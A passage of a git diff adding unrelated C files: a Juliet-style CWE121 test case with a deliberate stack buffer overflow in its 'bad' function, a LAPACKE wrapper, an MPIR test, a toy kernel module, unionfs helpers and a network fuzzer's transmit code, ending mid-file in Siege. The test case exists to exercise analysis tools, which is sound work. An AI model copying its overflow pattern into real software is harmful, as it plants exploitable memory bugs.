+ * BadSource:  Initialize data as a large string
+ * GoodSource: Initialize data as a small string
+ * Sink: memcpy
+ *    BadSink : Copy data to string using memcpy
+ * Flow Variant: 52 Data flow: data passed as an argument from one function to another to another in three different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52b_badSink(wchar_t * data);
+
+void CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52_bad()
+{
+    wchar_t * data;
+    wchar_t * dataBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));
+    data = dataBuffer;
+    /* FLAW: Initialize data as a large buffer that is larger than the small buffer used in the sink */
+    wmemset(data, L'A', 100-1); /* fill with L'A's */
+    data[100-1] = L'\0'; /* null terminate */
+    CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52b_badSink(data);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* good function declaration */
+void CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52b_goodG2BSink(wchar_t * data);
+
+/* goodG2B uses the GoodSource with the BadSink */
+static void goodG2B()
+{
+    wchar_t * data;
+    wchar_t * dataBuffer = (wchar_t *)ALLOCA(100*sizeof(wchar_t));
+    data = dataBuffer;
+    /* FIX: Initialize data as a small buffer that as small or smaller than the small buffer used in the sink */
+    wmemset(data, L'A', 50-1); /* fill with L'A's */
+    data[50-1] = L'\0'; /* null terminate */
+    CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52b_goodG2BSink(data);
+}
+
+void CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52_good()
+{
+    goodG2B();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+ * its own for testing or for building a binary to use in testing binary
+ * analysis tools. It is not used when compiling all the testcases as one
+ * application, which is how source code analysis tools are tested.
+ */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE121_Stack_Based_Buffer_Overflow__CWE806_wchar_t_alloca_memcpy_52_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0023282_lapacke_sppsv_work.c b/pool/shard001/C/0023282_lapacke_sppsv_work.c
new file mode 100644
index 0000000000000000000000000000000000000000..d8fc1833b2e1c9744d4daa640ac8698f3b6101b0
--- /dev/null
+++ b/pool/shard001/C/0023282_lapacke_sppsv_work.c
@@ -0,0 +1,93 @@
+/*****************************************************************************
+  Copyright (c) 2014, Intel Corp.
+  All rights reserved.
+
+  Redistribution and use in source and binary forms, with or without
+  modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * Neither the name of Intel Corporation nor the names of its contributors
+      may be used to endorse or promote products derived from this software
+      without specific prior written permission.
+
+  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+  THE POSSIBILITY OF SUCH DAMAGE.
+*****************************************************************************
+* Contents: Native middle-level C interface to LAPACK function sppsv
+* Author: Intel Corporation
+* Generated November 2015
+*****************************************************************************/
+
+#include "lapacke_utils.h"
+
+lapack_int LAPACKE_sppsv_work( int matrix_layout, char uplo, lapack_int n,
+                               lapack_int nrhs, float* ap, float* b,
+                               lapack_int ldb )
+{
+    lapack_int info = 0;
+    if( matrix_layout == LAPACK_COL_MAJOR ) {
+        /* Call LAPACK function and adjust info */
+        LAPACK_sppsv( &uplo, &n, &nrhs, ap, b, &ldb, &info );
+        if( info < 0 ) {
+            info = info - 1;
+        }
+    } else if( matrix_layout == LAPACK_ROW_MAJOR ) {
+        lapack_int ldb_t = MAX(1,n);
+        float* b_t = NULL;
+        float* ap_t = NULL;
+        /* Check leading dimension(s) */
+        if( ldb < nrhs ) {
+            info = -7;
+            LAPACKE_xerbla( "LAPACKE_sppsv_work", info );
+            return info;
+        }
+        /* Allocate memory for temporary array(s) */
+        b_t = (float*)LAPACKE_malloc( sizeof(float) * ldb_t * MAX(1,nrhs) );
+        if( b_t == NULL ) {
+            info = LAPACK_TRANSPOSE_MEMORY_ERROR;
+            goto exit_level_0;
+        }
+        ap_t = (float*)
+            LAPACKE_malloc( sizeof(float) * ( MAX(1,n) * MAX(2,n+1) ) / 2 );
+        if( ap_t == NULL ) {
+            info = LAPACK_TRANSPOSE_MEMORY_ERROR;
+            goto exit_level_1;
+        }
+        /* Transpose input matrices */
+        LAPACKE_sge_trans( matrix_layout, n, nrhs, b, ldb, b_t, ldb_t );
+        LAPACKE_spp_trans( matrix_layout, uplo, n, ap, ap_t );
+        /* Call LAPACK function and adjust info */
+        LAPACK_sppsv( &uplo, &n, &nrhs, ap_t, b_t, &ldb_t, &info );
+        if( info < 0 ) {
+            info = info - 1;
+        }
+        /* Transpose output matrices */
+        LAPACKE_sge_trans( LAPACK_COL_MAJOR, n, nrhs, b_t, ldb_t, b, ldb );
+        LAPACKE_spp_trans( LAPACK_COL_MAJOR, uplo, n, ap_t, ap );
+        /* Release memory and exit */
+        LAPACKE_free( ap_t );
+exit_level_1:
+        LAPACKE_free( b_t );
+exit_level_0:
+        if( info == LAPACK_TRANSPOSE_MEMORY_ERROR ) {
+            LAPACKE_xerbla( "LAPACKE_sppsv_work", info );
+        }
+    } else {
+        info = -1;
+        LAPACKE_xerbla( "LAPACKE_sppsv_work", info );
+    }
+    return info;
+}
diff --git a/pool/shard001/C/0023290_t-dc_div_q.c b/pool/shard001/C/0023290_t-dc_div_q.c
new file mode 100644
index 0000000000000000000000000000000000000000..60282c43645e1b450084b4cc2e9a3ffab89783ed
--- /dev/null
+++ b/pool/shard001/C/0023290_t-dc_div_q.c
@@ -0,0 +1,129 @@
+/* Test mpn_dc_div_q.
+
+Copyright 2002 Free Software Foundation, Inc.
+Copyright 2009 William Hart
+
+This file is part of the MPIR Library.
+
+The MPIR Library is free software; you can redistribute it and/or modify
+it under the terms of the GNU Lesser General Public License as published by
+the Free Software Foundation; either version 2.1 of the License, or (at your
+option) any later version.
+
+The MPIR Library is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY
+or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public
+License for more details.
+
+You should have received a copy of the GNU Lesser General Public License
+along with the MPIR Library; see the file COPYING.LIB.  If not, write to
+the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+MA 02110-1301, USA. */
+
+#include <stdio.h>
+#include <stdlib.h>
+
+#include "mpir.h"
+#include "gmp-impl.h"
+#include "longlong.h"
+#include "tests.h"
+
+#if defined(_MSC_VER) || defined(__MINGW32__)
+#define random rand
+#endif
+
+#define MAX_LIMBS 400
+#define ITERS 10000
+   
+/* Check divide and conquer division routine. */
+void
+check_dc_div_q (void)
+{
+   mp_limb_t np[2*MAX_LIMBS];
+   mp_limb_t np2[2*MAX_LIMBS];
+   mp_limb_t rp[2*MAX_LIMBS+1];
+   mp_limb_t dp[MAX_LIMBS];
+   mp_limb_t qp[2*MAX_LIMBS];
+   mp_limb_t dip, cy;
+
+   mp_size_t nn, rn, dn, qn;
+
+   gmp_randstate_t rands;
+
+   int i, j, s;
+   gmp_randinit_default(rands);
+  
+   for (i = 0; i < ITERS; i++)
+   {
+      dn = (random() % (MAX_LIMBS - 5)) + 6;
+      nn = (random() % (MAX_LIMBS-3)) + dn + 3;
+      
+      mpn_rrandom (np, rands, nn);
+      mpn_rrandom (dp, rands, dn);
+      dp[dn-1] |= GMP_LIMB_HIGHBIT;
+
+      MPN_COPY(np2, np, nn);
+      
+      mpir_invert_pi1(dip, dp[dn - 1], dp[dn - 2]);
+      
+      qn = nn - dn + 1;
+         
+      qp[qn - 1] = mpn_dc_div_q(qp, np, nn, dp, dn, dip);
+
+      MPN_NORMALIZE(qp, qn);
+
+      if (qn)
+      {
+         if (qn >= dn) mpn_mul(rp, qp, qn, dp, dn);
+         else mpn_mul(rp, dp, dn, qp, qn);
+      
+         rn = dn + qn;
+         MPN_NORMALIZE(rp, rn);
+         
+         if (rn > nn)
+         {
+            printf("failed: q*d has too many limbs\n");
+            abort();
+         }
+         
+         if (mpn_cmp(rp, np2, nn) > 0)
+         {
+            printf("failed: remainder negative\n");
+            abort();
+         }
+         
+         mpn_sub(rp, np2, nn, rp, rn);
+         rn = nn;
+         MPN_NORMALIZE(rp, rn);
+      } else
+      {
+         rn = nn;
+         MPN_COPY(rp, np, nn);
+      }
+      
+      s = (rn < dn) ? -1 : (rn > dn) ? 1 : mpn_cmp(rp, dp, dn);
+      if (s >= 0)
+      {
+         printf ("failed:\n");
+         printf ("nn = %lu, dn = %lu, qn = %lu, rn = %lu\n\n", nn, dn, qn, rn);
+         gmp_printf (" np: %Nx\n\n", np2, nn);
+         gmp_printf (" dp: %Nx\n\n", dp, dn);
+         gmp_printf (" qp: %Nx\n\n", qp, qn);
+         gmp_printf (" rp: %Nx\n\n", rp, rn);
+         abort ();
+      }
+   }
+
+   gmp_randclear(rands);
+}
+
+int
+main (void)
+{
+  tests_start ();
+
+  check_dc_div_q ();
+  
+  tests_end ();
+  exit (0);
+}
diff --git a/pool/shard001/C/0023295_firstdev.c b/pool/shard001/C/0023295_firstdev.c
new file mode 100644
index 0000000000000000000000000000000000000000..3248f58077de2347056235ce51345d99248c7e5d
--- /dev/null
+++ b/pool/shard001/C/0023295_firstdev.c
@@ -0,0 +1,193 @@
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/sched.h>
+#include <linux/version.h>
+#include <linux/vermagic.h>
+
+#include <linux/types.h>
+#include <linux/kdev_t.h>
+#include <linux/cdev.h>
+#include <linux/slab.h>
+#include <linux/fs.h>
+#include <linux/kernel.h>
+
+/* MODULE_LICENSE("Dual BSD/GPL"); */
+MODULE_LICENSE("GPL v2");
+MODULE_AUTHOR("Angelo Yin");
+MODULE_DESCRIPTION("Hello world experiment");
+MODULE_VERSION("1.0.0");
+MODULE_ALIAS("AngeloHello");
+
+dev_t dev;
+unsigned int count = 4;
+
+struct firstdev {
+	int major;
+	int minor;
+	struct cdev cdev;
+};
+
+struct firstdev *firstdev_p;
+
+static void firstdev_exit(void);
+
+loff_t fdev_llseek(struct file *filp, loff_t off, int whence)
+{
+	pr_alert("fdev_llseek");
+
+	return 0;
+}
+
+ssize_t fdev_read(struct file *filp, char __user *buf, size_t count,
+		  loff_t *f_pos)
+{
+	struct firstdev *dev = filp->private_data;
+
+	pr_alert("fdev_read, major=%d, minor=%d", dev->major, dev->minor);
+
+	return 0;
+}
+
+ssize_t fdev_write(struct file *filp, const char __user *buf, size_t count,
+		   loff_t *f_pos)
+{
+	struct firstdev *dev = filp->private_data;
+
+	pr_alert("fdev_write, major=%d, minor=%d", dev->major, dev->minor);
+
+	return 0;
+}
+
+long fdev_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
+{
+	pr_alert("fdev_ioctl");
+	return 0;
+}
+
+int fdev_open(struct inode *inode, struct file *filp)
+{
+	struct firstdev *dev;
+
+	dev = container_of(inode->i_cdev, struct firstdev, cdev);
+	filp->private_data = dev;
+	pr_alert("fdev_open, major=%d, minor=%d", dev->major, dev->minor);
+
+	int minor = iminor(inode);
+	int major = imajor(inode);
+
+	pr_alert("iminor(inode)=%d", minor);
+	pr_alert("imajor(inode)=%d", major);
+
+	pr_alert("MODE:%x", (filp->f_flags & O_ACCMODE));
+
+	if ((filp->f_flags & O_ACCMODE) == O_WRONLY)
+		pr_alert("O_WRONLY MODE");
+	else if ((filp->f_flags & O_ACCMODE) == O_RDONLY)
+		pr_alert("O_RDONLY MODE");
+	else
+		pr_alert("MODE:%x", (filp->f_flags & O_ACCMODE));
+
+	return 0;
+}
+
+int fdev_release(struct inode *inode, struct file *filp)
+{
+	struct firstdev *dev = filp->private_data;
+
+	pr_alert("fdev_release, major=%d, minor=%d", dev->major, dev->minor);
+
+	return 0;
+}
+
+const struct file_operations fops = {
+	.owner	= THIS_MODULE,
+	.llseek	= fdev_llseek,
+	.read	= fdev_read,
+	.write	= fdev_write,
+	.unlocked_ioctl	= fdev_ioctl,
+	.open	= fdev_open,
+	.release	= fdev_release,
+};
+
+static int firstdev_init(void)
+{
+	int result = 0;
+	char *name = "firstdev";
+
+	pr_alert("DEVICE:%s\n", name);
+	pr_alert("The process is \"%s\" (pid %i)\n",
+	       current->comm, current->pid);
+	pr_alert("UTS_RELEASE:%s", UTS_RELEASE);
+	pr_alert("KERNEL_VERSION:%d", KERNEL_VERSION(2, 6, 10));
+
+	unsigned int firstminor = 0;
+	int err;
+
+	err = alloc_chrdev_region(&dev, firstminor, count, name);
+	if (!err) {
+		pr_alert("alloc_chrdev_region successful.");
+		pr_alert("dev_t:%d,Major=%d,Minor=%d",
+			dev, MAJOR(dev), MINOR(dev));
+	} else {
+		pr_alert("alloc_chrdev_region failed.");
+	}
+
+	firstdev_p = kmalloc_array(count, sizeof(struct firstdev), GFP_KERNEL);
+	if (!firstdev_p) {
+		result = -ENOMEM;
+		pr_alert("kmalloc firstdev_p failed.");
+		goto fail;
+	} else {
+		pr_alert("kmalloc firstdev_p successful.");
+	}
+
+	memset(firstdev_p, 0, count * sizeof(struct firstdev));
+
+	int i, major, devno;
+
+	major = MAJOR(dev);
+	for (i = 0; i < count; ++i) {
+		struct firstdev *p = &firstdev_p[i];
+
+		devno = MKDEV(major, i);
+		p->major = major;
+		p->minor = i;
+		cdev_init(&p->cdev, &fops);
+		p->cdev.owner = THIS_MODULE;
+		p->cdev.ops = &fops;
+		err = cdev_add(&p->cdev, devno, 1);
+		if (err)
+			pr_alert("Error %d adding firstdev %d", err, i);
+		else
+			pr_alert("Successful adding firstdev %d", i);
+	}
+	return 0;
+fail:
+	firstdev_exit();
+	return result;
+}
+
+static void firstdev_exit(void)
+{
+	int i;
+
+	if (firstdev_p) {
+		for (i = 0; i < count; ++i) {
+			cdev_del(&firstdev_p[i].cdev);
+			pr_alert("cdev_del(&firstdev_p[i].cdev)-%d", i);
+		}
+		kfree(firstdev_p);
+		pr_alert("kfree(firstdev_p);");
+	}
+	unregister_chrdev_region(dev, count);
+	pr_alert("unregister_chrdev_region(first, count);");
+	pr_alert("Goodbye, beautiful world\n");
+}
+
+void export_test(void)
+{
+}
+EXPORT_SYMBOL(export_test);
+
+module_init(firstdev_init);
+module_exit(firstdev_exit);
diff --git a/pool/shard001/C/0023296_subr.c b/pool/shard001/C/0023296_subr.c
new file mode 100644
index 0000000000000000000000000000000000000000..d27475227e5f26d4ba2a85ca1d3506f7be61e241
--- /dev/null
+++ b/pool/shard001/C/0023296_subr.c
@@ -0,0 +1,233 @@
+/*
+ * Copyright (c) 2003-2007 Erez Zadok
+ * Copyright (c) 2003-2006 Charles P. Wright
+ * Copyright (c) 2005-2007 Josef 'Jeff' Sipek
+ * Copyright (c) 2005-2006 Junjiro Okajima
+ * Copyright (c) 2005      Arun M. Krishnakumar
+ * Copyright (c) 2004-2006 David P. Quigley
+ * Copyright (c) 2003-2004 Mohammad Nayyer Zubair
+ * Copyright (c) 2003      Puja Gupta
+ * Copyright (c) 2003      Harikesavan Krishnan
+ * Copyright (c) 2003-2007 Stony Brook University
+ * Copyright (c) 2003-2007 The Research Foundation of State University of New York
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 as
+ * published by the Free Software Foundation.
+ */
+
+#include "union.h"
+
+/* Pass an unionfs dentry and an index.  It will try to create a whiteout
+ * for the filename in dentry, and will try in branch 'index'.  On error,
+ * it will proceed to a branch to the left.
+ */
+int create_whiteout(struct dentry *dentry, int start)
+{
+	int bstart, bend, bindex;
+	struct dentry *hidden_dir_dentry;
+	struct dentry *hidden_dentry;
+	struct dentry *hidden_wh_dentry;
+	char *name = NULL;
+	int err = -EINVAL;
+
+	verify_locked(dentry);
+
+	bstart = dbstart(dentry);
+	bend = dbend(dentry);
+
+	/* create dentry's whiteout equivalent */
+	name = alloc_whname(dentry->d_name.name, dentry->d_name.len);
+	if (IS_ERR(name)) {
+		err = PTR_ERR(name);
+		goto out;
+	}
+
+	for (bindex = start; bindex >= 0; bindex--) {
+		hidden_dentry = unionfs_lower_dentry_idx(dentry, bindex);
+
+		if (!hidden_dentry) {
+			/* if hidden dentry is not present, create the entire
+			 * hidden dentry directory structure and go ahead.
+			 * Since we want to just create whiteout, we only want
+			 * the parent dentry, and hence get rid of this dentry.
+			 */
+			hidden_dentry = create_parents(dentry->d_inode,
+						       dentry, bindex);
+			if (!hidden_dentry || IS_ERR(hidden_dentry)) {
+				printk(KERN_DEBUG "create_parents failed for "
+						"bindex = %d\n", bindex);
+				continue;
+			}
+		}
+
+		hidden_wh_dentry = lookup_one_len(name, hidden_dentry->d_parent,
+					dentry->d_name.len + UNIONFS_WHLEN);
+		if (IS_ERR(hidden_wh_dentry))
+			continue;
+
+		/* The whiteout already exists. This used to be impossible, but
+		 * now is possible because of opaqueness.
+		 */
+		if (hidden_wh_dentry->d_inode) {
+			dput(hidden_wh_dentry);
+			err = 0;
+			goto out;
+		}
+
+		hidden_dir_dentry = lock_parent(hidden_wh_dentry);
+		if (!(err = is_robranch_super(dentry->d_sb, bindex))) {
+			err = vfs_create(hidden_dir_dentry->d_inode,
+				       hidden_wh_dentry,
+				       ~current->fs->umask & S_IRWXUGO, NULL);
+
+		}
+		unlock_dir(hidden_dir_dentry);
+		dput(hidden_wh_dentry);
+
+		if (!err || !IS_COPYUP_ERR(err))
+			break;
+	}
+
+	/* set dbopaque  so that lookup will not proceed after this branch */
+	if (!err)
+		set_dbopaque(dentry, bindex);
+
+out:
+	kfree(name);
+	return err;
+}
+
+/* This is a helper function for rename, which ends up with hosed over dentries
+ * when it needs to revert.
+ */
+int unionfs_refresh_hidden_dentry(struct dentry *dentry, int bindex)
+{
+	struct dentry *hidden_dentry;
+	struct dentry *hidden_parent;
+	int err = 0;
+
+	verify_locked(dentry);
+
+	unionfs_lock_dentry(dentry->d_parent);
+	hidden_parent = unionfs_lower_dentry_idx(dentry->d_parent, bindex);
+	unionfs_unlock_dentry(dentry->d_parent);
+
+	BUG_ON(!S_ISDIR(hidden_parent->d_inode->i_mode));
+
+	hidden_dentry = lookup_one_len(dentry->d_name.name, hidden_parent,
+				dentry->d_name.len);
+	if (IS_ERR(hidden_dentry)) {
+		err = PTR_ERR(hidden_dentry);
+		goto out;
+	}
+
+	dput(unionfs_lower_dentry_idx(dentry, bindex));
+	iput(unionfs_lower_inode_idx(dentry->d_inode, bindex));
+	unionfs_set_lower_inode_idx(dentry->d_inode, bindex, NULL);
+
+	if (!hidden_dentry->d_inode) {
+		dput(hidden_dentry);
+		unionfs_set_lower_dentry_idx(dentry, bindex, NULL);
+	} else {
+		unionfs_set_lower_dentry_idx(dentry, bindex, hidden_dentry);
+		unionfs_set_lower_inode_idx(dentry->d_inode, bindex,
+				igrab(hidden_dentry->d_inode));
+	}
+
+out:
+	return err;
+}
+
+int make_dir_opaque(struct dentry *dentry, int bindex)
+{
+	int err = 0;
+	struct dentry *hidden_dentry, *diropq;
+	struct inode *hidden_dir;
+
+	hidden_dentry = unionfs_lower_dentry_idx(dentry, bindex);
+	hidden_dir = hidden_dentry->d_inode;
+	BUG_ON(!S_ISDIR(dentry->d_inode->i_mode) ||
+	       !S_ISDIR(hidden_dir->i_mode));
+
+	mutex_lock(&hidden_dir->i_mutex);
+	diropq = lookup_one_len(UNIONFS_DIR_OPAQUE, hidden_dentry,
+				sizeof(UNIONFS_DIR_OPAQUE) - 1);
+	if (IS_ERR(diropq)) {
+		err = PTR_ERR(diropq);
+		goto out;
+	}
+
+	if (!diropq->d_inode)
+		err = vfs_create(hidden_dir, diropq, S_IRUGO, NULL);
+	if (!err)
+		set_dbopaque(dentry, bindex);
+
+	dput(diropq);
+
+out:
+	mutex_unlock(&hidden_dir->i_mutex);
+	return err;
+}
+
+/* returns the sum of the n_link values of all the underlying inodes of the
+ * passed inode
+ */
+int unionfs_get_nlinks(struct inode *inode)
+{
+	int sum_nlinks = 0;
+	int dirs = 0;
+	int bindex;
+	struct inode *hidden_inode;
+
+	/* don't bother to do all the work since we're unlinked */
+	if (inode->i_nlink == 0)
+		return 0;
+
+	if (!S_ISDIR(inode->i_mode))
+		return unionfs_lower_inode(inode)->i_nlink;
+
+	for (bindex = ibstart(inode); bindex <= ibend(inode); bindex++) {
+		hidden_inode = unionfs_lower_inode_idx(inode, bindex);
+
+		/* ignore files */
+		if (!hidden_inode || !S_ISDIR(hidden_inode->i_mode))
+			continue;
+
+		BUG_ON(hidden_inode->i_nlink < 0);
+
+		/* A deleted directory. */
+		if (hidden_inode->i_nlink == 0)
+			continue;
+		dirs++;
+
+		/*
+		 * A broken directory...
+		 *
+		 * Some filesystems don't properly set the number of links
+		 * on empty directories
+		 */
+		if (hidden_inode->i_nlink == 1)
+			sum_nlinks += 2;
+		else
+			sum_nlinks += (hidden_inode->i_nlink - 2);
+	}
+
+	return (!dirs ? 0 : sum_nlinks + 2);
+}
+
+/* construct whiteout filename */
+char *alloc_whname(const char *name, int len)
+{
+	char *buf;
+
+	buf = kmalloc(len + UNIONFS_WHLEN + 1, GFP_KERNEL);
+	if (!buf)
+		return ERR_PTR(-ENOMEM);
+
+	strcpy(buf, UNIONFS_WHPFX);
+	strlcat(buf, name, len + UNIONFS_WHLEN + 1);
+
+	return buf;
+}
+
diff --git a/pool/shard001/C/0023304_transmit.c b/pool/shard001/C/0023304_transmit.c
new file mode 100644
index 0000000000000000000000000000000000000000..c128c2b8f8beadf79b8f528f78acce6dcc048396
--- /dev/null
+++ b/pool/shard001/C/0023304_transmit.c
@@ -0,0 +1,190 @@
+/*---------------------------------------------------------------------------*                                          
+ *--- (c) Martin Vuagnoux, Cambridge University, UK.                      ---*                                          
+ *---                                                            Aug.2004 ---*                                          
+ *---------------------------------------------------------------------------*/
+/*---------------------------------------------------------------------------*                                          
+ * NAME       : transmit.c
+ * DESCRIPTION: all the transmission related functions
+ *---------------------------------------------------------------------------*/
+
+#include <stdio.h>
+#include <netdb.h>        /* gethostbyname, hstrerror */
+#include <strings.h>      /* bcopy */
+#include <string.h>       /* memset */
+#include <sys/types.h>    /* socket, select */
+#include <sys/socket.h>   /* socket, shutdown, inet_ntoa */
+#include <netinet/in.h>   /* inet_ntoa */
+#include <arpa/inet.h>    /* inet_nota */
+#include <unistd.h>       /* close, select */
+#include <stdlib.h>       /* free */
+#include <errno.h>        /* errno */
+#include <sys/select.h>   /* select */
+#include <sys/time.h>     /* select */
+
+
+#include "debug.h"
+#include "conf.h"
+#include "chrono.h"     
+#include "dbg.h"
+
+extern struct sockaddr_in server; /* needed between send/recv_fuzz and client/server_fuzz */
+
+/*---------------------------------------------------------------------------*                                            
+ * NAME: send_fuzz()
+ * DESC: send a buffer using tcp/udp or file method:
+ *       tcp/udp: use sendto 
+ * RETN: >=0 if everything is OK
+ *        -1 if there is a big error (not recoverable)
+ *        -2 connection closed by foreign host.
+ *---------------------------------------------------------------------------*/
+int send_fuzz(config *conf, struct struct_block *block) {
+
+  unsigned int bytes;
+
+  /* debug */
+  debug(1, "<-----------------------[enter]\n");
+
+  /* send using fwrite (file) */
+  if (conf->type == 2) {
+    bytes = fwrite(conf->buf_fuzz + block->offset, sizeof(char), block->size, conf->fuzz_file);
+    debug(3, "--->bytes written: %d\n", bytes);
+    if (bytes <= 0)
+      return -1;
+  }
+  /* send using sendto (compatible tcp *and* udp) */
+  else {
+    bytes = sendto(conf->socket, 
+		   conf->buf_fuzz + block->offset, 
+		   block->size, 
+		   0,
+		   (struct sockaddr *)&(server), 
+		   sizeof(server));
+    debug(1, "send_fuzz bytes: %d\n", bytes);
+
+    if (bytes == -1) {
+      
+      /* this is a "Broken pipe" ie: connection closed by foreign host. We
+	 detect it and reconnect to the server with return value -2 */
+      if (errno == EPIPE) { /* EPIPE = 32 cf. /usr/include/asm/errno.h */
+      verbose_("[!] connection closed by foreign host (sendto)\n");
+      return -2;
+      }
+      error_("sendto error: ");
+      perror("");
+      return -1;
+    }
+
+    /* debugger detection. We wait for at least DBG_TIMEOUT
+       seconds an answer of the debugger. Even if the answer arrives
+       in the next check it's ok (independant messages) */
+    if (conf->dbg_mode) {
+      fd_set rfds;
+      struct timeval tv;
+      int retval;
+      
+      tv.tv_sec = DBG_TIMEOUT_SEC;
+      tv.tv_usec = DBG_TIMEOUT_USEC;
+      FD_ZERO(&rfds);
+      FD_SET(conf->dbg_socket, &rfds);
+      retval = select(conf->dbg_socket+1, &rfds, NULL, NULL, &tv);
+      
+      /* error */
+      if (retval == -1) {
+	error_("select error: ");
+	perror("");
+	return -1;
+      }
+      
+      /* there is something from the dbg */
+      if (retval) {
+	verbose_("[*] the debugger has something to say!\n");
+	
+	if (dbg_read_msg(conf)) bytes = -1;
+
+      } 
+    }
+  }
+
+  /* debug */
+  debug(1, "<-----------------------[quit]\n");
+
+  return bytes;
+}
+
+
+/*---------------------------------------------------------------------------*                                            
+ * NAME: recv_fuzz()
+ * DESC: recv a buffer using tcp/udp or file method:
+ *       tcp/udp: use recvfrom
+ * RETN: > 0 if everything is OK
+ *       0 if connection closed by foreign host
+ *      -1 if major error
+ *---------------------------------------------------------------------------*/
+int recv_fuzz(config *conf, struct struct_block *block, unsigned char *buffer) {
+  int bytes;
+  unsigned int len;
+
+  /* recv using *nothing* (file) */
+  if (conf->type == 2) {
+    bytes = 1;    /* do nothing */
+  }
+    /* recv using recvfrom (compatible tcp *and* udp) */
+  else {
+
+    /* timeout for receiving an answer */
+    fd_set rfds;
+    struct timeval tv;
+    int retval;
+
+    tv.tv_sec = conf->timeout;
+    tv.tv_usec = 0;
+
+    FD_ZERO(&rfds);
+    FD_SET(conf->socket, &rfds);
+    retval = select(conf->socket+1, &rfds, NULL, NULL, &tv);
+
+    /* error */
+    if (retval == -1) {
+      error_("select error: ");
+      perror("");
+      return -1;
+    }
+
+    /* there is data */
+    if (retval) {
+
+      len = sizeof(server);
+      debug(3, "len: %d\n", len);
+      debug(3, "block->size :%d\n", block->size); 
+      bytes = recvfrom(conf->socket, 
+		       buffer, 
+		       block->size, 
+		       0, 
+		       (struct sockaddr *)&server, 
+		       &len);
+      debug(1, "recv_fuzz bytes: %d\n", bytes);
+      if (bytes == -1) {
+	error_("recvfrom error: ");
+	perror("");
+	free(buffer);
+	buffer = NULL;
+	return 0;
+      }
+      if (bytes == 0) {
+	verbose_("[!] connection closed by foreign host (recv_from)\n");
+	free(buffer);
+	buffer = NULL;
+      }
+      return bytes;
+    }
+
+    /* nothing has been received for RECV_TIMEOUT_SEC and RECV_TIMEOUT_USEC */
+    else {
+      verbose_("[!] timeout of %d [sec] expired... launch the next attack.\n", conf->timeout);
+      free(buffer);
+      buffer = NULL;
+
+      return 0;
+    }
+  }
+}
diff --git a/pool/shard001/C/0023311_util.c b/pool/shard001/C/0023311_util.c
new file mode 100644
index 0000000000000000000000000000000000000000..125b6290f07be8a7ae220dbf05372d1a46b6d6dd
--- /dev/null
+++ b/pool/shard001/C/0023311_util.c
@@ -0,0 +1,103 @@
+/**
+ * Utility functions
+ * Library: joedog
+ *
+ * Copyright (C) 2000, 2001, 2002 by
+ * Jeffrey Fulmer - <jdfulmer@armstrong.com>
+ * This file is distributed as part of Siege 
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.  
+ * 
+ */
+#include <util.h>
+#include <error.h>
+
+/**
+ * substring        returns a char pointer from
+ *                  start to start + length in a
+ *                  larger char pointer (buffer).
+ */
+char * 
+substring (char *buffer, int start, int length)
+{
+  char *sub;
+  sub = malloc (sizeof (char) * (length + 1));
+	
